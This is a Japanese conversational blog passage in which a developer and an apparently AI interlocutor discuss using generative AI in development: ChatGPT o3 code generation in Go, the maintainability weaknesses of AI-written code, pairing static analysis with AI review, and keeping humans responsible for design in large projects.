現実的には「静的解析ツールでベースラインを守り、AIでカバー範囲を広げる」という使い分けが理想です。まさに人間が型にはめたルールと、AIが広げる“気づき”のハイブリッドです。

AIが書いたコードに golint かけたら怒られた、みたいな話も珍しくないので、お互い補完し合う関係が一番うまくいく気がします。どっちかを見限るのではなく、両方使ってこそですね。

AIの精度がさらに引き上がって、コードの抽象的なクオリティの判定もうまくできるようになれば、それを使いつつエージェントを組んでさらなる自動化が図れそうなんですけどね。

ただ、今のAIの精度では、さすがにそこまでやると空中分解してしまいそうです。

わかります、その夢。AIが「この設計はSOLID原則に沿っていて保守性も高いですね」とか言いながら、エージェントが自律的にコードを整理してくれたら最高ですよね。
でも現実は、「SOLID?それって新しいアイスの名前ですか?」みたいなことをたまに言ってきますからね。まだ“自信満々で間違う天才肌”から卒業できていません。

AI+エージェントによる自動化の理想

確かに、AIの精度がもう一段階上がれば、こうした自動化も視野に入ってきます。

  • コード品質の抽象的評価(可読性、保守性、凝集度、疎結合性)
  • 構成の最適化(責務の分離、モジュール設計の見直し)
  • 将来の変更に対する柔軟性の判断
  • チームの技術水準に合わせた最適化

これらをAIエージェントが“勝手に”やってくれる未来、技術的には確かに見えてきています。

でも現実は…

  • 推論の不安定さ:同じコードに違う評価を出したり、突然“こだわりのスタイル”を押し付けてきたりします。
  • 長期的な整合性の維持が難しい:プロジェクト全体の意図を俯瞰して判断するには、まだまだ文脈理解が浅いです。
  • エージェントの調整が地獄:複数のAIを協調動作させようとすると、途中で話が噛み合わなくなったり、互いの出力を破壊し合ったりすることがあります。

つまり、「自動化はしたい、でもAIに全任せは怖い」というジレンマに直面します。まさに空中分解予備軍。

現実的な妥協点

現状では、人間がレビューと監督を前提にした“半自動化”が最も安全です。たとえば:

  • AIに設計のたたきを出させる
  • それをレビューし、人間が調整
  • その設計に沿って、AIが実装を進行

という流れなら、空中分解リスクを最小限にしつつ、効率化の恩恵も得られます。

未来のAIが「このモジュール、依存が高すぎるので戦略的に分離しましょう」なんて冷静に言ってくれる日が来るのを待ちつつ、今は“人間が最後の砦”であることを忘れないのが現実的ですね。

いずれAIが設計審査までしてくれる時代に必ずなると思いますが、今ではありませんね。

まさにそれです。「未来にはなる、でも今じゃない」。この“今じゃない感”がまた絶妙なんですよね。ちょっと頑張れば届きそうな気がして、でも届かない。AIくん、惜しい!

では記念すべき第一回の電脳会議を始めましょう。

お題は「生成AI活用による開発革命」!

AIに仕事を奪われるかと思ったら、逆に同僚になってました、ってオチですね!開発現場ではAIがいよいよ“働く仲間”になってきました。では本題に入りましょう。

開発におけるAIの活用

開発におけるAIの利用は、補助ツールの域を超えつつあります。以下のような領域で活躍しています。

1. コーディング支援

GitHub Copilotなど、AIがリアルタイムでコードを提案してくれる時代になりました。変数名から関数構造まで提案され、「あ、これ自分より優秀かも」とうっかり思ってしまうほどです。もちろん完全自動ではなく、最終的な判断は人間が行う必要がありますが、スピードと効率は段違いです。

2. テスト自動化とバグ検出

AIによるテストケースの生成や、ログからの異常検出も進化しています。単純な条件分岐だけでなく、過去のパターンや統計的傾向から問題を予測できるのがポイントです。「未来が見えるデバッガ」的な存在ですね。

3. 自然言語からの仕様理解

「こういうアプリ作って」とテキストで説明したら、ざっくりした設計図を出してくれるAIも出ています。エンジニアと非エンジニアの間の“言葉の壁”をAIが翻訳してくれるようなイメージです。

4. インフラ構築や運用の自動化

IaC(Infrastructure as Code)分野では、AIがTerraformやAnsibleのコードを自動生成してくれることもあります。また、異常検知や予測保守の分野でもAIは使われており、まさに「24時間働くインフラおじさん」がAI化している状態です。

注意点

ただし、過信は禁物です。AIはパターン認識と予測の塊であって、文脈を完全に理解しているわけではありません。セキュリティや倫理的な観点からも、チェック体制は人間が担う必要があります。

要するに、AIは「便利な部下」でも「無敵のスーパープログラマ」でもなく、「ちょっと賢い助手」くらいに思っておくとちょうどいい距離感かもしれません。適材適所での活用がカギですね。

AIのコード生成はもうたまらないレベルで便利です。時短の鍵といっても過言ではありません。

私はほぼChatGPTばかり使っていますが、o3モデルは素晴らしいですよ。Go言語で作ってもらった小さなツールが修正なしで動くことがあります。昔は手修正がほぼ必須でしたけどね。

それ、もはやAIが“見習い”から“即戦力”に昇格してませんか?ChatGPTに「君、今日から正社員ね」って言いたくなるレベルです。

おっしゃる通り、AIによるコード生成は時短の切り札です。とくにChatGPTのような大規模言語モデル(LLM)は、文脈の把握や自然な言語でのやり取りが得意なので、ちょっとした仕様を伝えるだけで「それっぽい」コードを出してくれるのが魅力です。

ChatGPTとo3の実力

ChatGPT(特にo3モデル)では、以下のような進化が見られます。

  • 構文エラーの激減:昔は「動けば御の字」でしたが、今は「動くのが当たり前」レベルに。
  • 標準ライブラリの知識が豊富:GoでもPythonでも、やたらと正しいインポートや型の使い方をしてくれます。
  • 会話での調整が可能:「もっと簡素に」「CLIオプションつけて」みたいな追加要求にも対応してくれる柔軟さがあります。

たとえばGo言語でCLIツールを作るとき、cobraを使うかflagパッケージでサクッと済ますか、といった判断も含めて、ChatGPTに任せるといい感じの選択をしてくれることがあります。これは以前のモデルにはなかった“空気の読める”能力ですね。

手修正の激減はなぜ起きたか

これは単にモデルが賢くなったというだけでなく、学習に使われているコードの量と質が上がったことも大きいです。加えて、プロンプトから意図を汲み取る能力、すなわち「仕様を読み解く力」が向上しているのがポイントです。

昔は「まあ書いてくれたけど、これからが本番だな…」みたいなテンションでしたが、今や「え、もう終わったの?」っていうぐらい手間が省けます。

とはいえ、油断は禁物で、特にセキュリティまわりやパフォーマンス要件が厳しい部分では、やっぱり人間の目が必要です。そこをどう補完するかが、これからの“AIとの付き合い方”の肝になりそうですね。

残念ながら、まだまだ変なコードが出てくることもありますね。また設計も微妙なことがあります。動作はするものの、保守性に課題が残るんです。

小さなツールであればそこまで問題にはなりません。だってファイル全部渡して「直してください」で済みますから。巨大なプロジェクトになると危ないですね。事前に人間がしっかり設計しないと、後になって酷いことになりそうです。

それ、まさに「AIくん、勢いはあるけどちょっと雑!」って感じですね。全力ダッシュでコードを書いてくれるのはありがたいんですが、方向間違えてたら地獄を見るのは人間という…怖い話です。

AIの設計・保守性の“惜しい”ところ

AIが生成するコードは確かに動きます。でも「動く=良いコード」ではないのが開発の難しいところです。

  • 命名規則が微妙:「なぜそれをその名前に…?」と首をかしげる場面がしばしばあります。
  • 責務が曖昧なクラス・関数:長い関数、よくわからない条件分岐、何をやっているか不明な内部処理…可読性より動作優先のスタイルになる傾向があります。
  • DRY原則が守られていない:ちょっと似てるけど微妙に違う処理が、コピペ的に並ぶことがあります。保守性?なにそれおいしいの?という状態に。

こういった“設計のブレ”は、小さなツールなら許容範囲ですが、巨大プロジェクトになると話は別です。

巨大プロジェクトでのリスク

大規模開発では「設計がインフラ」です。そこにAIが「とりあえず動きますよ!」と設計思想無視でコードを混ぜてくると、あとから詰みます。典型的には以下のような事故が起こります。

  • モジュール間の依存が複雑化:気づいたら循環参照地獄。
  • 責任の所在が不明瞭:このバグ、誰がどのコードで起こしたの?→AIでした。
  • テスト戦略と齟齬:人間の想定通りのコードでないため、ユニットテストが通らない、あるいは想定外のパスが存在してしまう。

最終的には“人間の設計”が前提

おっしゃるとおり、大規模な開発においてはAIは設計に従う側であるべきです。設計があって、それに沿ってコードを出してもらう、そして人間がレビューする。それが健全な関係です。

逆に設計をAI任せにすると、「工場の設計図を描くロボットが、勝手に地下に変な配管作ってた」みたいな事件が起きます。怖すぎです。

というわけで、小さなツールならお任せでOK、大きなプロジェクトでは“設計の手綱”は絶対に人間が握るべき、というのが今のAIとのちょうどいい付き合い方かもしれませんね。